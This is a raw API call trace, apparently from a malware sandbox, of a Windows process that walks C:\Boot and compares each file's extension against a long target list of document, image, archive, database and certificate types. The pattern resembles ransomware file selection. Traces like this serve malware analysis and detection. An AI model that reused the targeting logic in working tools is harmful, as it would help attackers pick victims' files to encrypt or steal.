[0091.306] lstrlenW (lpString=".myd") returned 4 [0091.306] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0091.306] lstrlenW (lpString=".myi") returned 4 [0091.306] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0091.306] lstrlenW (lpString=".nef") returned 4 [0091.306] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0091.306] lstrlenW (lpString=".nrw") returned 4 [0091.306] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0091.306] lstrlenW (lpString=".obj") returned 4 [0091.306] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".odb") returned 4 [0091.307] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".odc") returned 4 [0091.307] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".odm") returned 4 [0091.307] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".odp") returned 4 [0091.307] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".ods") returned 4 [0091.307] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".oft") returned 4 [0091.307] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".one") returned 4 [0091.307] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".onepkg") returned 7 [0091.307] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0091.307] lstrlenW (lpString=".onetoc2") returned 8 [0091.307] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0091.307] lstrlenW (lpString=".opt") returned 4 [0091.307] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".oqy") returned 4 [0091.307] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".orf") returned 4 [0091.307] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".p12") returned 4 [0091.307] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0091.307] lstrlenW (lpString=".p7b") returned 4 [0091.307] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".p7c") returned 4 [0091.308] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pam") returned 4 [0091.308] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pbm") returned 4 [0091.308] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pct") returned 4 [0091.308] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pcx") returned 4 [0091.308] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pdd") returned 4 [0091.308] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pdf") returned 4 [0091.308] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pdp") returned 4 [0091.308] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pef") returned 4 [0091.308] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pem") returned 4 [0091.308] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pff") returned 4 [0091.308] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pfm") returned 4 [0091.308] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pfx") returned 4 [0091.308] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".pgm") returned 4 [0091.308] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".php") returned 4 [0091.308] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0091.308] lstrlenW (lpString=".php3") returned 5 [0091.309] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0091.309] lstrlenW (lpString=".php4") returned 5 [0091.309] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0091.309] lstrlenW (lpString=".php5") returned 5 [0091.309] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0091.309] lstrlenW (lpString=".phtml") returned 6 [0091.309] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0091.309] lstrlenW (lpString=".pict") returned 5 [0091.309] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0091.309] lstrlenW (lpString=".pl") returned 3 [0091.309] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0091.309] lstrlenW (lpString=".pls") returned 4 [0091.309] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0091.309] lstrlenW (lpString=".pm") returned 3 [0091.309] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0091.309] lstrlenW (lpString=".png") returned 4 [0091.309] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0091.309] lstrlenW (lpString=".pnm") returned 4 [0091.309] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0091.309] lstrlenW (lpString=".pot") returned 4 [0091.309] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0091.309] lstrlenW (lpString=".potm") returned 5 [0091.309] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0091.309] lstrlenW (lpString=".potx") returned 5 [0091.309] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0091.309] lstrlenW (lpString=".ppa") returned 4 [0091.309] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0091.309] lstrlenW (lpString=".ppam") returned 5 [0091.309] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0091.309] lstrlenW (lpString=".ppm") returned 4 [0091.310] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".pps") returned 4 [0091.310] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".ppsm") returned 5 [0091.310] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0091.310] lstrlenW (lpString=".ppt") returned 4 [0091.310] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".pptm") returned 5 [0091.310] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0091.310] lstrlenW (lpString=".pptx") returned 5 [0091.310] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0091.310] lstrlenW (lpString=".prn") returned 4 [0091.310] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".ps") returned 3 [0091.310] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0091.310] lstrlenW (lpString=".psb") returned 4 [0091.310] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".psd") returned 4 [0091.310] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".pst") returned 4 [0091.310] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".ptx") returned 4 [0091.310] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".pub") returned 4 [0091.310] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".pwm") returned 4 [0091.310] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".pxr") returned 4 [0091.310] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0091.310] lstrlenW (lpString=".py") returned 3 [0091.310] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0091.310] lstrlenW (lpString=".qt") returned 3 [0091.311] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0091.311] lstrlenW (lpString=".r3d") returned 4 [0091.311] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0091.311] lstrlenW (lpString=".raf") returned 4 [0091.311] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0091.311] lstrlenW (lpString=".rar") returned 4 [0091.311] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0091.311] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0091.311] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0091.311] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0091.311] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0091.311] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0091.311] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0091.311] lstrlenW (lpString="C:\\Boot\\Fonts") returned 13 [0091.311] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260850 [0091.312] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.312] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0091.313] lstrlenW (lpString="chs_boot.ttf") returned 12 [0091.313] lstrlenW (lpString=".1cd") returned 4 [0091.313] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0091.313] lstrlenW (lpString=".3ds") returned 4 [0091.313] lstrcmpiW (lpString1=".3ds", lpString2=".ttf") returned -1 [0091.313] lstrlenW (lpString=".3fr") returned 4 [0091.313] lstrcmpiW (lpString1=".3fr", lpString2=".ttf") returned -1 [0091.313] lstrlenW (lpString=".3g2") returned 4 [0091.313] lstrcmpiW (lpString1=".3g2", lpString2=".ttf") returned -1 [0091.313] lstrlenW (lpString=".3gp") returned 4 [0091.313] lstrcmpiW (lpString1=".3gp", lpString2=".ttf") returned -1 [0091.313] lstrlenW (lpString=".7z") returned 3 [0091.313] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0091.313] lstrlenW (lpString=".accda") returned 6 [0091.313] lstrcmpiW (lpString1=".accda", lpString2="ot.ttf") returned -1 [0091.313] lstrlenW (lpString=".accdb") returned 6 [0091.313] lstrcmpiW (lpString1=".accdb", lpString2="ot.ttf") returned -1 [0091.313] lstrlenW (lpString=".accdc") returned 6 [0091.313] lstrcmpiW (lpString1=".accdc", lpString2="ot.ttf") returned -1 [0091.313] lstrlenW (lpString=".accde") returned 6 [0091.313] lstrcmpiW (lpString1=".accde", lpString2="ot.ttf") returned -1 [0091.313] lstrlenW (lpString=".accdt") returned 6 [0091.313] lstrcmpiW (lpString1=".accdt", lpString2="ot.ttf") returned -1 [0091.313] lstrlenW (lpString=".accdw") returned 6 [0091.313] lstrcmpiW (lpString1=".accdw", lpString2="ot.ttf") returned -1 [0091.313] lstrlenW (lpString=".adb") returned 4 [0091.313] lstrcmpiW (lpString1=".adb", lpString2=".ttf") returned -1 [0091.313] lstrlenW (lpString=".adp") returned 4 [0091.313] lstrcmpiW (lpString1=".adp", lpString2=".ttf") returned -1 [0091.313] lstrlenW (lpString=".ai") returned 3 [0091.314] lstrcmpiW (lpString1=".ai", lpString2="ttf") returned -1 [0091.314] lstrlenW (lpString=".ai3") returned 4 [0091.314] lstrcmpiW (lpString1=".ai3", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".ai4") returned 4 [0091.314] lstrcmpiW (lpString1=".ai4", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".ai5") returned 4 [0091.314] lstrcmpiW (lpString1=".ai5", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".ai6") returned 4 [0091.314] lstrcmpiW (lpString1=".ai6", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".ai7") returned 4 [0091.314] lstrcmpiW (lpString1=".ai7", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".ai8") returned 4 [0091.314] lstrcmpiW (lpString1=".ai8", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".anim") returned 5 [0091.314] lstrcmpiW (lpString1=".anim", lpString2="t.ttf") returned -1 [0091.314] lstrlenW (lpString=".arw") returned 4 [0091.314] lstrcmpiW (lpString1=".arw", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".as") returned 3 [0091.314] lstrcmpiW (lpString1=".as", lpString2="ttf") returned -1 [0091.314] lstrlenW (lpString=".asa") returned 4 [0091.314] lstrcmpiW (lpString1=".asa", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".asc") returned 4 [0091.314] lstrcmpiW (lpString1=".asc", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".ascx") returned 5 [0091.314] lstrcmpiW (lpString1=".ascx", lpString2="t.ttf") returned -1 [0091.314] lstrlenW (lpString=".asm") returned 4 [0091.314] lstrcmpiW (lpString1=".asm", lpString2=".ttf") returned -1 [0091.314] lstrlenW (lpString=".asmx") returned 5 [0091.314] lstrcmpiW (lpString1=".asmx", lpString2="t.ttf") returned -1 [0091.314] lstrlenW (lpString=".asp") returned 4 [0091.315] lstrcmpiW (lpString1=".asp", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".aspx") returned 5 [0091.315] lstrcmpiW (lpString1=".aspx", lpString2="t.ttf") returned -1 [0091.315] lstrlenW (lpString=".asr") returned 4 [0091.315] lstrcmpiW (lpString1=".asr", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".asx") returned 4 [0091.315] lstrcmpiW (lpString1=".asx", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".avi") returned 4 [0091.315] lstrcmpiW (lpString1=".avi", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".avs") returned 4 [0091.315] lstrcmpiW (lpString1=".avs", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".backup") returned 7 [0091.315] lstrcmpiW (lpString1=".backup", lpString2="oot.ttf") returned -1 [0091.315] lstrlenW (lpString=".bak") returned 4 [0091.315] lstrcmpiW (lpString1=".bak", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".bay") returned 4 [0091.315] lstrcmpiW (lpString1=".bay", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".bd") returned 3 [0091.315] lstrcmpiW (lpString1=".bd", lpString2="ttf") returned -1 [0091.315] lstrlenW (lpString=".bin") returned 4 [0091.315] lstrcmpiW (lpString1=".bin", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".bmp") returned 4 [0091.315] lstrcmpiW (lpString1=".bmp", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".bz2") returned 4 [0091.315] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".c") returned 2 [0091.315] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0091.315] lstrlenW (lpString=".cdr") returned 4 [0091.315] lstrcmpiW (lpString1=".cdr", lpString2=".ttf") returned -1 [0091.315] lstrlenW (lpString=".cer") returned 4 [0091.315] lstrcmpiW (lpString1=".cer", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".cf") returned 3 [0091.316] lstrcmpiW (lpString1=".cf", lpString2="ttf") returned -1 [0091.316] lstrlenW (lpString=".cfc") returned 4 [0091.316] lstrcmpiW (lpString1=".cfc", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".cfm") returned 4 [0091.316] lstrcmpiW (lpString1=".cfm", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".cfml") returned 5 [0091.316] lstrcmpiW (lpString1=".cfml", lpString2="t.ttf") returned -1 [0091.316] lstrlenW (lpString=".cfu") returned 4 [0091.316] lstrcmpiW (lpString1=".cfu", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".chm") returned 4 [0091.316] lstrcmpiW (lpString1=".chm", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".cin") returned 4 [0091.316] lstrcmpiW (lpString1=".cin", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".class") returned 6 [0091.316] lstrcmpiW (lpString1=".class", lpString2="ot.ttf") returned -1 [0091.316] lstrlenW (lpString=".clx") returned 4 [0091.316] lstrcmpiW (lpString1=".clx", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".config") returned 7 [0091.316] lstrcmpiW (lpString1=".config", lpString2="oot.ttf") returned -1 [0091.316] lstrlenW (lpString=".cpp") returned 4 [0091.316] lstrcmpiW (lpString1=".cpp", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".cr2") returned 4 [0091.316] lstrcmpiW (lpString1=".cr2", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".crt") returned 4 [0091.316] lstrcmpiW (lpString1=".crt", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".crw") returned 4 [0091.316] lstrcmpiW (lpString1=".crw", lpString2=".ttf") returned -1 [0091.316] lstrlenW (lpString=".cs") returned 3 [0091.316] lstrcmpiW (lpString1=".cs", lpString2="ttf") returned -1 [0091.317] lstrlenW (lpString=".css") returned 4 [0091.317] lstrcmpiW (lpString1=".css", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".csv") returned 4 [0091.317] lstrcmpiW (lpString1=".csv", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".cub") returned 4 [0091.317] lstrcmpiW (lpString1=".cub", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".dae") returned 4 [0091.317] lstrcmpiW (lpString1=".dae", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".dat") returned 4 [0091.317] lstrcmpiW (lpString1=".dat", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".db") returned 3 [0091.317] lstrcmpiW (lpString1=".db", lpString2="ttf") returned -1 [0091.317] lstrlenW (lpString=".dbf") returned 4 [0091.317] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".dbx") returned 4 [0091.317] lstrcmpiW (lpString1=".dbx", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".dc3") returned 4 [0091.317] lstrcmpiW (lpString1=".dc3", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".dcm") returned 4 [0091.317] lstrcmpiW (lpString1=".dcm", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".dcr") returned 4 [0091.317] lstrcmpiW (lpString1=".dcr", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".der") returned 4 [0091.317] lstrcmpiW (lpString1=".der", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".dib") returned 4 [0091.317] lstrcmpiW (lpString1=".dib", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".dic") returned 4 [0091.317] lstrcmpiW (lpString1=".dic", lpString2=".ttf") returned -1 [0091.317] lstrlenW (lpString=".dif") returned 4 [0091.318] lstrcmpiW (lpString1=".dif", lpString2=".ttf") returned -1 [0091.318] lstrlenW (lpString=".divx") returned 5 [0091.318] lstrcmpiW (lpString1=".divx", lpString2="t.ttf") returned -1 [0091.318] lstrlenW (lpString=".djvu") returned 5 [0091.318] lstrcmpiW (lpString1=".djvu", lpString2="t.ttf") returned -1 [0091.318] lstrlenW (lpString=".dng") returned 4 [0091.318] lstrcmpiW (lpString1=".dng", lpString2=".ttf") returned -1 [0091.318] lstrlenW (lpString=".doc") returned 4 [0091.318] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0091.318] lstrlenW (lpString=".docm") returned 5 [0091.318] lstrcmpiW (lpString1=".docm", lpString2="t.ttf") returned -1 [0091.318] lstrlenW (lpString=".docx") returned 5 [0091.318] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0091.318] lstrlenW (lpString=".dot") returned 4 [0091.318] lstrcmpiW (lpString1=".dot", lpString2=".ttf") returned -1 [0091.318] lstrlenW (lpString=".dotm") returned 5 [0091.318] lstrcmpiW (lpString1=".dotm", lpString2="t.ttf") returned -1 [0091.318] lstrlenW (lpString=".dotx") returned 5 [0091.318] lstrcmpiW (lpString1=".dotx", lpString2="t.ttf") returned -1 [0091.318] lstrlenW (lpString=".dpx") returned 4 [0091.318] lstrcmpiW (lpString1=".dpx", lpString2=".ttf") returned -1 [0091.318] lstrlenW (lpString=".dqy") returned 4 [0091.318] lstrcmpiW (lpString1=".dqy", lpString2=".ttf") returned -1 [0091.318] lstrlenW (lpString=".dsn") returned 4 [0091.318] lstrcmpiW (lpString1=".dsn", lpString2=".ttf") returned -1 [0091.318] lstrlenW (lpString=".dt") returned 3 [0091.318] lstrcmpiW (lpString1=".dt", lpString2="ttf") returned -1 [0091.318] lstrlenW (lpString=".dtd") returned 4 [0091.318] lstrcmpiW (lpString1=".dtd", lpString2=".ttf") returned -1 [0091.318] lstrlenW (lpString=".dwg") returned 4 [0091.318] lstrcmpiW (lpString1=".dwg", lpString2=".ttf") returned -1 [0091.318] lstrlenW (lpString=".dwt") returned 4 [0091.319] lstrcmpiW (lpString1=".dwt", lpString2=".ttf") returned -1 [0091.319] lstrlenW (lpString=".dx") returned 3 [0091.319] lstrcmpiW (lpString1=".dx", lpString2="ttf") returned -1 [0091.319] lstrlenW (lpString=".dxf") returned 4 [0091.319] lstrcmpiW (lpString1=".dxf", lpString2=".ttf") returned -1 [0091.319] lstrlenW (lpString=".edml") returned 5 [0091.319] lstrcmpiW (lpString1=".edml", lpString2="t.ttf") returned -1 [0091.319] lstrlenW (lpString=".efd") returned 4 [0091.319] lstrcmpiW (lpString1=".efd", lpString2=".ttf") returned -1 [0091.319] lstrlenW (lpString=".elf") returned 4 [0091.319] lstrcmpiW (lpString1=".elf", lpString2=".ttf") returned -1 [0091.319] lstrlenW (lpString=".emf") returned 4 [0091.319] lstrcmpiW (lpString1=".emf", lpString2=".ttf") returned -1 [0091.319] lstrlenW (lpString=".emz") returned 4 [0091.320] lstrcmpiW (lpString1=".emz", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".epf") returned 4 [0091.320] lstrcmpiW (lpString1=".epf", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".eps") returned 4 [0091.320] lstrcmpiW (lpString1=".eps", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".epsf") returned 5 [0091.320] lstrcmpiW (lpString1=".epsf", lpString2="t.ttf") returned -1 [0091.320] lstrlenW (lpString=".epsp") returned 5 [0091.320] lstrcmpiW (lpString1=".epsp", lpString2="t.ttf") returned -1 [0091.320] lstrlenW (lpString=".erf") returned 4 [0091.320] lstrcmpiW (lpString1=".erf", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".exr") returned 4 [0091.320] lstrcmpiW (lpString1=".exr", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".f4v") returned 4 [0091.320] lstrcmpiW (lpString1=".f4v", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".fido") returned 5 [0091.320] lstrcmpiW (lpString1=".fido", lpString2="t.ttf") returned -1 [0091.320] lstrlenW (lpString=".flm") returned 4 [0091.320] lstrcmpiW (lpString1=".flm", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".flv") returned 4 [0091.320] lstrcmpiW (lpString1=".flv", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".frm") returned 4 [0091.320] lstrcmpiW (lpString1=".frm", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".fxg") returned 4 [0091.320] lstrcmpiW (lpString1=".fxg", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".geo") returned 4 [0091.320] lstrcmpiW (lpString1=".geo", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".gif") returned 4 [0091.320] lstrcmpiW (lpString1=".gif", lpString2=".ttf") returned -1 [0091.320] lstrlenW (lpString=".grs") returned 4 [0091.320] lstrcmpiW (lpString1=".grs", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".gz") returned 3 [0091.321] lstrcmpiW (lpString1=".gz", lpString2="ttf") returned -1 [0091.321] lstrlenW (lpString=".h") returned 2 [0091.321] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0091.321] lstrlenW (lpString=".hdr") returned 4 [0091.321] lstrcmpiW (lpString1=".hdr", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".hpp") returned 4 [0091.321] lstrcmpiW (lpString1=".hpp", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".hta") returned 4 [0091.321] lstrcmpiW (lpString1=".hta", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".htc") returned 4 [0091.321] lstrcmpiW (lpString1=".htc", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".htm") returned 4 [0091.321] lstrcmpiW (lpString1=".htm", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".html") returned 5 [0091.321] lstrcmpiW (lpString1=".html", lpString2="t.ttf") returned -1 [0091.321] lstrlenW (lpString=".icb") returned 4 [0091.321] lstrcmpiW (lpString1=".icb", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".ics") returned 4 [0091.321] lstrcmpiW (lpString1=".ics", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".iff") returned 4 [0091.321] lstrcmpiW (lpString1=".iff", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".inc") returned 4 [0091.321] lstrcmpiW (lpString1=".inc", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".indd") returned 5 [0091.321] lstrcmpiW (lpString1=".indd", lpString2="t.ttf") returned -1 [0091.321] lstrlenW (lpString=".ini") returned 4 [0091.321] lstrcmpiW (lpString1=".ini", lpString2=".ttf") returned -1 